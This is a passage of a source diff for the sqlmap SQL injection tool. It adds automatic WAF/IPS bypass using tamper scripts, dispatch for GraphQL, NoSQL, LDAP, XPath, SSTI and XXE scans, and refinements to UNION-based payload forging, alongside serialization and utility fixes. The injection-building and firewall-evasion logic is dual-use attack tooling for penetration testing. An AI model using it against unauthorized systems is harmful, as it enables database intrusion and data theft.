kb.tamperFunctions = savedTamper
|
||||
# honest bail: say it could not be bypassed and what to try manually
|
||||
logger.warning("unable to automatically bypass the WAF/IPS; it might be using behavioral or rate-based detection (consider a manual '--tamper' selection, '--delay', or '--proxy' rotation)")
|
||||
|
||||
return retVal
|
||||
|
||||
def _showInjections():
|
||||
if conf.wizard and kb.wizardMode:
|
||||
kb.wizardMode = False
|
||||
@@ -181,9 +235,29 @@ def _showInjections():
|
||||
conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET)
|
||||
conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
|
||||
else:
|
||||
# --report-json: capture the same TARGET/TECHNIQUES structures the API emits, without
|
||||
# printing them (the human-readable injection points are rendered just below)
|
||||
if conf.reportJson:
|
||||
conf.dumper._reportData({"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, CONTENT_TYPE.TARGET)
|
||||
conf.dumper._reportData(kb.injections, CONTENT_TYPE.TECHNIQUES)
|
||||
|
||||
data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n")
|
||||
conf.dumper.string(header, data)
|
||||
|
||||
# when results were resumed (no test requests this run), nudge if the session file is stale -
|
||||
# this is the common "why is it showing old/unexpected results?" confusion
|
||||
if kb.testQueryCount == 0 and not conf.freshQueries:
|
||||
try:
|
||||
days = int((time.time() - os.path.getmtime(conf.hashDBFile)) / (24 * 3600))
|
||||
except (OSError, IOError, TypeError):
|
||||
days = 0
|
||||
|
||||
if days >= HASHDB_STALE_DAYS:
|
||||
warnMsg = "results above were resumed from a session file last updated %d days ago, " % days
|
||||
warnMsg += "so they may be stale. Rerun with '--flush-session' to retest "
|
||||
warnMsg += "or '--fresh-queries' to ignore cached query results"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
if conf.tamper:
|
||||
warnMsg = "changes made by tampering scripts are not "
|
||||
warnMsg += "included in shown payload content(s)"
|
||||
@@ -431,9 +505,17 @@ def start():
|
||||
infoMsg = "testing URL '%s'" % targetUrl
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.graphql and PLACE.GET not in conf.parameters:
|
||||
# graphqlScan() is self-contained and operates on the GraphQL
|
||||
# document, not on HTTP parameters. A dummy GET parameter keeps
|
||||
# _setRequestParams() from appending the URI injection marker ('*')
|
||||
# to a bare endpoint URL (which would break detection under
|
||||
# '--batch'); it is discarded by graphqlScan() on entry.
|
||||
conf.parameters[PLACE.GET] = "x"
|
||||
|
||||
setupTargetEnv()
|
||||
|
||||
if not checkConnection(suppressOutput=conf.forms):
|
||||
if not any((conf.graphql,)) and not checkConnection(suppressOutput=conf.forms):
|
||||
continue
|
||||
|
||||
if conf.rParam and kb.originalPage:
|
||||
@@ -447,13 +529,47 @@ def start():
|
||||
|
||||
checkWaf()
|
||||
|
||||
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)) and (conf.reportJson or conf.resultsFile):
|
||||
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) findings; these are reported on the console only")
|
||||
|
||||
if conf.graphql:
|
||||
from lib.techniques.graphql.inject import graphqlScan
|
||||
graphqlScan()
|
||||
continue
|
||||
|
||||
if conf.nosql:
|
||||
from lib.techniques.nosql.inject import nosqlScan
|
||||
nosqlScan()
|
||||
continue
|
||||
|
||||
if conf.ldap:
|
||||
from lib.techniques.ldap.inject import ldapScan
|
||||
ldapScan()
|
||||
continue
|
||||
|
||||
if conf.xpath:
|
||||
from lib.techniques.xpath.inject import xpathScan
|
||||
xpathScan()
|
||||
continue
|
||||
|
||||
if conf.ssti:
|
||||
from lib.techniques.ssti.inject import sstiScan
|
||||
sstiScan()
|
||||
continue
|
||||
|
||||
if conf.xxe:
|
||||
from lib.techniques.xxe.inject import xxeScan
|
||||
xxeScan()
|
||||
continue
|
||||
|
||||
if conf.nullConnection:
|
||||
checkNullConnection()
|
||||
|
||||
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
|
||||
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
|
||||
# NOTE: this is not needed anymore, leaving only to display
|
||||
# a warning message to the user in case the page is not stable
|
||||
if not any((conf.string, conf.notString, conf.regexp)) and any(_ in conf.technique for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.UNION)):
|
||||
# NOTE: besides the not-stable warning, this marks dynamic content for removal, which
|
||||
# UNION column-count detection relies on too (it compares pages) - so it must run when
|
||||
# UNION is tested even if BOOLEAN is excluded (e.g. '--technique=U' on a dynamic page)
|
||||
checkStability()
|
||||
|
||||
# Do a little prioritization reorder of a testable parameter list
|
||||
@@ -605,6 +721,14 @@ def start():
|
||||
logger.info(infoMsg)
|
||||
|
||||
injection = checkSqlInjection(place, parameter, value)
|
||||
|
||||
# WAF/IPS bypass accepted: the parameter looks injectable (heuristics) but
|
||||
# the standard payloads were blocked -> try to auto-bypass it (request
|
||||
# fingerprint neutralization and/or a tamper script)
|
||||
if getattr(injection, "place", None) is None and kb.wafBypass and check == HEURISTIC_TEST.POSITIVE \
|
||||
and not conf.tamper and not kb.tamperFunctions:
|
||||
injection = _autoWafBypass(place, parameter, value) or injection
|
||||
|
||||
proceed = not kb.endDetection
|
||||
injectable = False
|
||||
|
||||
@@ -704,9 +828,13 @@ def start():
|
||||
errMsg += "does not match exclusively True responses."
|
||||
|
||||
if not conf.tamper:
|
||||
errMsg += " If you suspect that there is some kind of protection mechanism "
|
||||
errMsg += "involved (e.g. WAF) maybe you could try to use "
|
||||
errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
|
||||
if kb.identifiedWafs:
|
||||
errMsg += " As a WAF/IPS ('%s') was identified during the run, " % ", ".join(kb.identifiedWafs)
|
||||
errMsg += "you are strongly advised to retry with option '--tamper' (e.g. '--tamper=space2comment')"
|
||||
else:
|
||||
errMsg += " If you suspect that there is some kind of protection mechanism "
|
||||
errMsg += "involved (e.g. WAF) maybe you could try to use "
|
||||
errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
|
||||
|
||||
if not conf.randomAgent:
|
||||
errMsg += " and/or switch '--random-agent'"
|
||||
@@ -729,7 +857,12 @@ def start():
|
||||
condition = True
|
||||
|
||||
if condition:
|
||||
action()
|
||||
try:
|
||||
action()
|
||||
finally:
|
||||
if conf.proof:
|
||||
from lib.utils.prove import proveExploitation
|
||||
proveExploitation()
|
||||
|
||||
except KeyboardInterrupt:
|
||||
if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
|
||||
|
||||
+85
-13
@@ -51,6 +51,7 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import GENERIC_SQL_COMMENT
|
||||
from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
|
||||
from lib.core.settings import INFERENCE_MARKER
|
||||
from lib.core.settings import MYSQL_UNION_VALUE_CAST
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import PAYLOAD_DELIMITER
|
||||
from lib.core.settings import REPLACEMENT_MARKER
|
||||
@@ -69,9 +70,9 @@ class Agent(object):
|
||||
query = self.cleanupPayload(query)
|
||||
|
||||
if query.upper().startswith("AND "):
|
||||
query = re.sub(r"(?i)AND ", "SELECT ", query, 1)
|
||||
query = re.sub(r"(?i)AND ", "SELECT ", query, count=1)
|
||||
elif query.upper().startswith(" UNION ALL "):
|
||||
query = re.sub(r"(?i) UNION ALL ", "", query, 1)
|
||||
query = re.sub(r"(?i) UNION ALL ", "", query, count=1)
|
||||
elif query.startswith("; "):
|
||||
query = query.replace("; ", "", 1)
|
||||
|
||||
@@ -220,7 +221,7 @@ class Agent(object):
|
||||
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
|
||||
if base64Encoding:
|
||||
retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue)
|
||||
match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal)
|
||||
match = re.search(r"(%s)=([^&]*)" % re.escape(re.sub(r" \(.+", "", parameter)), retVal)
|
||||
if match:
|
||||
retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING)))
|
||||
else:
|
||||
@@ -676,6 +677,49 @@ class Agent(object):
|
||||
pass
|
||||
return retVal
|
||||
|
||||
@staticmethod
|
||||
def _collapseFieldDelimiterSpace(query):
|
||||
"""
|
||||
Collapses ", " into "," to normalize the column-list delimiter, but ONLY outside
|
||||
single/double quoted string literals, so a comma-space inside a literal (e.g. in a
|
||||
WHERE clause: name='John, Jr') is preserved verbatim. The quote/escape handling
|
||||
mirrors splitFields()/zeroDepthSearch().
|
||||
|
||||
>>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t")
|
||||
'SELECT a,b FROM t'
|
||||
>>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t WHERE name='John, Jr'")
|
||||
"SELECT a,b FROM t WHERE name='John, Jr'"
|
||||
"""
|
||||
|
||||
retVal = []
|
||||
quote = None
|
||||
index = 0
|
||||
length = len(query)
|
||||
|
||||
while index < length:
|
||||
char = query[index]
|
||||
if quote:
|
||||
retVal.append(char)
|
||||
if char == quote:
|
||||
if index + 1 < length and query[index + 1] == quote: # escaped quote (e.g. '')
|
||||
retVal.append(query[index + 1])
|
||||
index += 2
|
||||
continue
|
||||
else:
|
||||
quote = None
|
||||
elif char in ('"', "'"):
|
||||
quote = char
|
||||
retVal.append(char)
|
||||
elif char == ',' and index + 1 < length and query[index + 1] == ' ':
|
||||
retVal.append(',') # keep the delimiter, drop the single trailing space
|
||||
index += 2
|
||||
continue
|
||||
else:
|
||||
retVal.append(char)
|
||||
index += 1
|
||||
|
||||
return "".join(retVal)
|
||||
|
||||
def concatQuery(self, query, unpack=True):
|
||||
"""
|
||||
Take in input a query string and return its processed nulled,
|
||||
@@ -704,7 +748,7 @@ class Agent(object):
|
||||
|
||||
if unpack:
|
||||
concatenatedQuery = ""
|
||||
query = query.replace(", ", ',')
|
||||
query = self._collapseFieldDelimiterSpace(query)
|
||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
|
||||
castedFields = self.nullCastConcatFields(fieldsToCastStr)
|
||||
concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
|
||||
@@ -825,9 +869,9 @@ class Agent(object):
|
||||
|
||||
return concatenatedQuery
|
||||
|
||||
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
|
||||
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None, collate=False):
|
||||
"""
|
||||
Take in input an query (pseudo query) string and return its
|
||||
Take in input a query (pseudo query) string and return its
|
||||
processed UNION ALL SELECT query.
|
||||
|
||||
Examples:
|
||||
@@ -867,10 +911,21 @@ class Agent(object):
|
||||
if query.startswith("SELECT "):
|
||||
query = query[len("SELECT "):]
|
||||
|
||||
# On MySQL 8+ the retrieved value (connection collation) cannot be merged in a
|
||||
# UNION column with a table column of a different collation (e.g. utf8mb4_0900_ai_ci),
|
||||
# raising "Illegal mix of collations". Normalizing the charset and forcing an explicit
|
||||
# collation (highest coercibility) wins the merge (Note: skipped for NULL/numeric values).
|
||||
# Note: requires the utf8mb4 charset (MySQL >= 5.5.3) used in MYSQL_UNION_VALUE_CAST; on
|
||||
# older versions there is no such collation clash to begin with (unknown version => assumed recent).
|
||||
collateField = collate and Backend.isDbms(DBMS.MYSQL) and isDBMSVersionAtLeast('5.5.3') is not False
|
||||
|
||||
def _collate(value):
|
||||
return MYSQL_UNION_VALUE_CAST % value if collateField and value and value != NULL and not value.isdigit() else value
|
||||
|
||||
unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)
|
||||
|
||||
if limited:
|
||||
unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count))
|
||||
unionQuery += ','.join(char if _ != position else _collate('(SELECT %s)' % query) for _ in xrange(0, count))
|
||||
unionQuery += fromTable
|
||||
unionQuery = self.suffixQuery(unionQuery, comment, suffix)
|
||||
|
||||
@@ -900,12 +955,22 @@ class Agent(object):
|
||||
else:
|
||||
infoFile = None
|
||||
|
||||
if not infoFile:
|
||||
query = _collate(query)
|
||||
|
||||
# A fuzzy-discovered per-column type template (kb.unionTemplate, e.g. ['1234', '%s', '5678'])
|
||||
# forces type-compatible fillers on strict DBMSes (e.g. Apache Derby, which rejects bare NULL
|
||||
# and demands UNION column-type parity); '%s' marks the slot carrying the injected expression.
|
||||
template = kb.unionTemplate if isinstance(kb.unionTemplate, (list, tuple)) and len(kb.unionTemplate) == count else None
|
||||
|
||||
for element in xrange(0, count):
|
||||
if element > 0:
|
||||
unionQuery += ','
|
||||
|
||||
if conf.uValues and conf.uValues.count(',') + 1 == count:
|
||||
unionQuery += conf.uValues.split(',')[element]
|
||||
elif template is not None:
|
||||
unionQuery += query if template[element] == "%s" else template[element]
|
||||
elif element == position:
|
||||
unionQuery += query
|
||||
else:
|
||||
@@ -927,8 +992,10 @@ class Agent(object):
|
||||
if element > 0:
|
||||
unionQuery += ','
|
||||
|
||||
if element == position:
|
||||
unionQuery += multipleUnions
|
||||
if template is not None:
|
||||
unionQuery += _collate(multipleUnions) if template[element] == "%s" else template[element]
|
||||
elif element == position:
|
||||
unionQuery += _collate(multipleUnions)
|
||||
else:
|
||||
unionQuery += char
|
||||
|
||||
@@ -964,7 +1031,9 @@ class Agent(object):
|
||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||
elif limitRegExp2:
|
||||
startLimit = 0
|
||||
stopLimit = limitRegExp2.group(int(limitGroupStart))
|
||||
# Note: query2 (LIMIT without OFFSET) always has exactly one group (the
|
||||
# count); using limitGroupStart here would IndexError for H2 (groupstart=2)
|
||||
stopLimit = limitRegExp2.group(1)
|
||||
limitCond = int(stopLimit) > 1
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
@@ -1066,7 +1135,7 @@ class Agent(object):
|
||||
original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
|
||||
for part in original.split(','):
|
||||
if re.search(r"\b%s\b" % re.escape(field), part):
|
||||
_ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
|
||||
_ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, count=1)
|
||||
replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
|
||||
limitedQuery = replacement
|
||||
break
|
||||
@@ -1117,7 +1186,7 @@ class Agent(object):
|
||||
limitedQuery = safeStringFormat(limitedQuery, (fromFrom,))
|
||||
limitedQuery += "=%d" % (num + 1)
|
||||
|
||||
elif Backend.isDbms(DBMS.MSSQL):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
forgeNotIn = True
|
||||
|
||||
if " ORDER BY " in limitedQuery:
|
||||
@@ -1266,7 +1335,10 @@ class Agent(object):
|
||||
if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None:
|
||||
prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
|
||||
else:
|
||||
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
|
||||
# Note: require a genuine trailing clause (ORDER BY / LIMIT word-bounded), so a
|
||||
# column/identifier merely starting with "order"/"limit" (e.g. order_id) is not
|
||||
# mistaken for the suffix and the WHERE is not spliced into the wrong place
|
||||
match = re.search(r" (ORDER\s+BY\b|LIMIT\b).+", query, re.I)
|
||||
if match:
|
||||
suffix = match.group(0)
|
||||
prefix = query[:-len(suffix)]
|
||||
|
||||
+28
-12
@@ -5,11 +5,6 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
try:
|
||||
import cPickle as pickle
|
||||
except:
|
||||
import pickle
|
||||
|
||||
import itertools
|
||||
import os
|
||||
import shutil
|
||||
@@ -86,7 +81,7 @@ class BigArray(list):
|
||||
>>> _[0] = [None]
|
||||
>>> _.index(0)
|
||||
20
|
||||
>>> import pickle; __ = pickle.loads(pickle.dumps(_))
|
||||
>>> import copy; __ = copy.deepcopy(_)
|
||||
>>> __.append(1)
|
||||
>>> len(_)
|
||||
100001
|
||||
@@ -158,9 +153,10 @@ class BigArray(list):
|
||||
self.chunks[-1] = self.cache.data
|
||||
self.cache.dirty = False
|
||||
else:
|
||||
from lib.core.convert import deserializeValue
|
||||
try:
|
||||
with open(filename, "rb") as f:
|
||||
self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
|
||||
self.chunks[-1] = deserializeValue(zlib.decompress(f.read()))
|
||||
except IOError as ex:
|
||||
errMsg = "exception occurred while retrieving data "
|
||||
errMsg += "from a temporary file ('%s')" % ex
|
||||
@@ -172,6 +168,12 @@ class BigArray(list):
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
# Note: the formerly on-disk chunk is now an in-memory list (and its file has been
|
||||
# removed), so any cache entry still pointing at it is stale; dropping it prevents
|
||||
# serving outdated data if that chunk index is later re-dumped (e.g. append after pop)
|
||||
if isinstance(self.cache, Cache) and self.cache.index == idx:
|
||||
self.cache = None
|
||||
|
||||
return self.chunks[-1].pop()
|
||||
|
||||
def index(self, value):
|
||||
@@ -201,18 +203,20 @@ class BigArray(list):
|
||||
self.close()
|
||||
|
||||
def _dump(self, chunk):
|
||||
from lib.core.convert import getBytes, serializeValue
|
||||
try:
|
||||
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY)
|
||||
self.filenames.add(filename)
|
||||
with os.fdopen(handle, "w+b") as f:
|
||||
f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
|
||||
# serializeValue() returns text; encode to bytes for the compressed on-disk chunk
|
||||
f.write(zlib.compress(getBytes(serializeValue(chunk)), BIGARRAY_COMPRESS_LEVEL))
|
||||
return filename
|
||||
except (OSError, IOError) as ex:
|
||||
errMsg = "exception occurred while storing data "
|
||||
errMsg += "to a temporary file ('%s'). Please " % ex
|
||||
errMsg += "make sure that there is enough disk space left. If problem persists, "
|
||||
errMsg += "make sure that there is enough disk space left. If the problem persists, "
|
||||
errMsg += "try to set environment variable 'TEMP' to a location "
|
||||
errMsg += "writeable by the current user"
|
||||
errMsg += "writable by the current user"
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
def _checkcache(self, index):
|
||||
@@ -220,13 +224,24 @@ class BigArray(list):
|
||||
self.cache = None
|
||||
|
||||
if (self.cache and self.cache.index != index and self.cache.dirty):
|
||||
old_filename = self.chunks[self.cache.index]
|
||||
filename = self._dump(self.cache.data)
|
||||
self.chunks[self.cache.index] = filename
|
||||
|
||||
# Note: remove the now-superseded chunk file (mirrors __getstate__); otherwise every
|
||||
# cross-chunk dirty flush orphans one temp file on disk and in self.filenames
|
||||
if isinstance(old_filename, STRING_TYPES):
|
||||
try:
|
||||
self._os_remove(old_filename)
|
||||
self.filenames.discard(old_filename)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
if not (self.cache and self.cache.index == index):
|
||||
from lib.core.convert import deserializeValue
|
||||
try:
|
||||
with open(self.chunks[index], "rb") as f:
|
||||
self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False)
|
||||
self.cache = Cache(index, deserializeValue(zlib.decompress(f.read())), False)
|
||||
except Exception as ex:
|
||||
errMsg = "exception occurred while retrieving data "
|
||||
errMsg += "from a temporary file ('%s')" % ex
|
||||
@@ -345,8 +360,9 @@ class BigArray(list):
|
||||
if cache_index == idx and cache_data is not None:
|
||||
data = cache_data
|
||||
else:
|
||||
from lib.core.convert import deserializeValue
|
||||
with open(chunk, "rb") as f:
|
||||
data = pickle.loads(zlib.decompress(f.read()))
|
||||
data = deserializeValue(zlib.decompress(f.read()))
|
||||
except Exception as ex:
|
||||
errMsg = "exception occurred while retrieving data "
|
||||
errMsg += "from a temporary file ('%s')" % ex
|
||||
|
||||
+321
-127
@@ -50,16 +50,17 @@ from lib.core.bigarray import BigArray
|
||||
from lib.core.compat import cmp
|
||||
from lib.core.compat import codecs_open
|
||||
from lib.core.compat import LooseVersion
|
||||
from lib.core.compat import RecursionError
|
||||
from lib.core.compat import round
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import base64pickle
|
||||
from lib.core.convert import base64unpickle
|
||||
from lib.core.convert import decodeBase64
|
||||
from lib.core.convert import deserializeValue
|
||||
from lib.core.convert import decodeHex
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getText
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.convert import htmlUnescape
|
||||
from lib.core.convert import serializeValue
|
||||
from lib.core.convert import stdoutEncode
|
||||
from lib.core.data import cmdLineOptions
|
||||
from lib.core.data import conf
|
||||
@@ -175,6 +176,9 @@ from lib.core.settings import REPLACEMENT_MARKER
|
||||
from lib.core.settings import SENSITIVE_DATA_REGEX
|
||||
from lib.core.settings import SENSITIVE_OPTIONS
|
||||
from lib.core.settings import STDIN_PIPE_DASH
|
||||
from lib.core.settings import STRUCTURAL_CLASS_REGEX
|
||||
from lib.core.settings import STRUCTURAL_ID_REGEX
|
||||
from lib.core.settings import STRUCTURAL_TAG_REGEX
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.core.settings import TEXT_TAG_REGEX
|
||||
from lib.core.settings import TIME_STDEV_COEFF
|
||||
@@ -196,7 +200,7 @@ from thirdparty.clientform.clientform import ParseResponse
|
||||
from thirdparty.clientform.clientform import ParseError
|
||||
from thirdparty.colorama.initialise import init as coloramainit
|
||||
from thirdparty.magic import magic
|
||||
from thirdparty.odict import OrderedDict
|
||||
from collections import OrderedDict
|
||||
from thirdparty.six import unichr as _unichr
|
||||
from thirdparty.six.moves import collections_abc as _collections
|
||||
from thirdparty.six.moves import configparser as _configparser
|
||||
@@ -1442,6 +1446,47 @@ def parseJson(content):
|
||||
|
||||
return retVal
|
||||
|
||||
def jsonMinimize(content):
|
||||
"""
|
||||
Returns an order-independent canonical "leaf-path" projection of a JSON document, used for
|
||||
structure-aware response comparison (so key reordering / whitespace / number formatting do
|
||||
not perturb the comparison ratio, while a changed value or array length does). Returns None
|
||||
(and only None) when content is not parseable JSON, so callers can fall back to text comparison
|
||||
|
||||
>>> jsonMinimize('{"b": 2, "a": 1}') == jsonMinimize('{"a":1, "b":2}')
|
||||
True
|
||||
>>> jsonMinimize('{"a": {"b": 1}}') == '.a.b=1'
|
||||
True
|
||||
>>> jsonMinimize('not json') is None
|
||||
True
|
||||
>>> jsonMinimize('{}') == ''
|
||||
True
|
||||
"""
|
||||
|
||||
lines = []
|
||||
|
||||
def _walk(obj, path):
|
||||
if isinstance(obj, dict):
|
||||
for key in sorted(obj): # sorted keys -> key-order/whitespace immune
|
||||
_walk(obj[key], "%s.%s" % (path, key))
|
||||
elif isinstance(obj, (list, tuple)):
|
||||
lines.append("%s.__len__=%d" % (path, len(obj))) # length change always registers
|
||||
for index in xrange(len(obj)): # index kept -> order-sensitive (correct for result sets)
|
||||
_walk(obj[index], "%s[%d]" % (path, index))
|
||||
else:
|
||||
lines.append("%s=%s" % (path, obj)) # scalar values kept (boolean detection flips values)
|
||||
|
||||
# Note: both json.loads() and the _walk() recursion can hit RecursionError (RuntimeError on
|
||||
# Python 2) on JSON nested past the interpreter limit; treat that as "not usable" and return
|
||||
# None so callers fall back to text comparison, rather than crashing the comparison thread
|
||||
try:
|
||||
data = json.loads(content)
|
||||
_walk(data, "")
|
||||
except (ValueError, TypeError, RecursionError):
|
||||
return None
|
||||
|
||||
return "\n".join(sorted(lines))
|
||||
|
||||
def parsePasswordHash(password):
|
||||
"""
|
||||
In case of Microsoft SQL Server password hash value is expanded to its components
|
||||
@@ -1537,11 +1582,10 @@ def setPaths(rootPath):
|
||||
paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads")
|
||||
|
||||
# sqlmap files
|
||||
paths.CATALOG_IDENTIFIERS = os.path.join(paths.SQLMAP_TXT_PATH, "catalog-identifiers.txt")
|
||||
paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
|
||||
paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt")
|
||||
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
|
||||
paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
|
||||
paths.DIGEST_FILE = os.path.join(paths.SQLMAP_TXT_PATH, "sha256sums.txt")
|
||||
paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt")
|
||||
paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt")
|
||||
paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt")
|
||||
@@ -1839,7 +1883,7 @@ def escapeJsonValue(value):
|
||||
retVal = ""
|
||||
|
||||
for char in value:
|
||||
if char < ' ' or char == '"':
|
||||
if char < ' ' or char in ('"', '\\'): # Note: backslash must be escaped too, otherwise a '\' in the value corrupts the surrounding JSON string
|
||||
retVal += json.dumps(char)[1:-1]
|
||||
else:
|
||||
retVal += char
|
||||
@@ -1853,7 +1897,9 @@ def expandAsteriskForColumns(expression):
|
||||
the SQL query string (expression)
|
||||
"""
|
||||
|
||||
match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.]+)+)(\s|\Z)", expression)
|
||||
# Note: the table-reference group consumes one char / quoted-chunk per repetition ([\w.] not
|
||||
# [\w.]+) to avoid catastrophic backtracking on a 'SELECT * FROM <long.dotted.name>(' input
|
||||
match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.])+)(\s|\Z)", expression)
|
||||
|
||||
if match:
|
||||
infoMsg = "you did not provide the fields in your query. "
|
||||
@@ -2038,7 +2084,7 @@ def getFileType(filePath):
|
||||
"""
|
||||
Returns "magic" file type for given file path
|
||||
|
||||
>>> getFileType(__file__)
|
||||
>>> getFileType(paths.SQL_KEYWORDS)
|
||||
'text'
|
||||
>>> getFileType(sys.executable)
|
||||
'binary'
|
||||
@@ -2052,7 +2098,9 @@ def getFileType(filePath):
|
||||
desc = getText(desc)
|
||||
|
||||
if desc == getText(magic.MAGIC_UNKNOWN_FILETYPE):
|
||||
content = openFile(filePath, "rb", encoding=None).read()
|
||||
_ = openFile(filePath, "rb", encoding=None)
|
||||
content = _.read()
|
||||
_.close()
|
||||
|
||||
try:
|
||||
content.decode()
|
||||
@@ -2227,7 +2275,7 @@ def safeStringFormat(format_, params):
|
||||
if match:
|
||||
try:
|
||||
_ = getUnicode(params[count % len(params)])
|
||||
retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % _.replace('\\', r'\\'), retVal, 1)
|
||||
retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % _.replace('\\', r'\\'), retVal, count=1)
|
||||
except re.error:
|
||||
retVal = retVal.replace(match.group(0), match.group(0) % params[count % len(params)], 1)
|
||||
count += 1
|
||||
@@ -2295,9 +2343,14 @@ def showStaticWords(firstPage, secondPage, minLength=3):
|
||||
infoMsg = "static words: "
|
||||
|
||||
if firstPage and secondPage:
|
||||
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
|
||||
commonText = firstPage[match[0]:match[0] + match[2]]
|
||||
commonWords = getPageWordSet(commonText)
|
||||
try:
|
||||
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
|
||||
commonText = firstPage[match[0]:match[0] + match[2]]
|
||||
commonWords = getPageWordSet(commonText)
|
||||
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
|
||||
# difflib can fail on pathological input / interpreter-level hiccups; skip
|
||||
# the static-word hint rather than abort (see findDynamicContent / comparison.py)
|
||||
commonWords = None
|
||||
else:
|
||||
commonWords = None
|
||||
|
||||
@@ -2493,19 +2546,23 @@ def readCachedFileContent(filename, mode='r'):
|
||||
True
|
||||
"""
|
||||
|
||||
if filename not in kb.cache.content:
|
||||
content = kb.cache.content.get(filename)
|
||||
|
||||
if content is None:
|
||||
with kb.locks.cache:
|
||||
if filename not in kb.cache.content:
|
||||
content = kb.cache.content.get(filename)
|
||||
if content is None:
|
||||
checkFile(filename)
|
||||
try:
|
||||
with openFile(filename, mode) as f:
|
||||
kb.cache.content[filename] = f.read()
|
||||
content = f.read()
|
||||
kb.cache.content[filename] = content
|
||||
except (IOError, OSError, MemoryError) as ex:
|
||||
errMsg = "something went wrong while trying "
|
||||
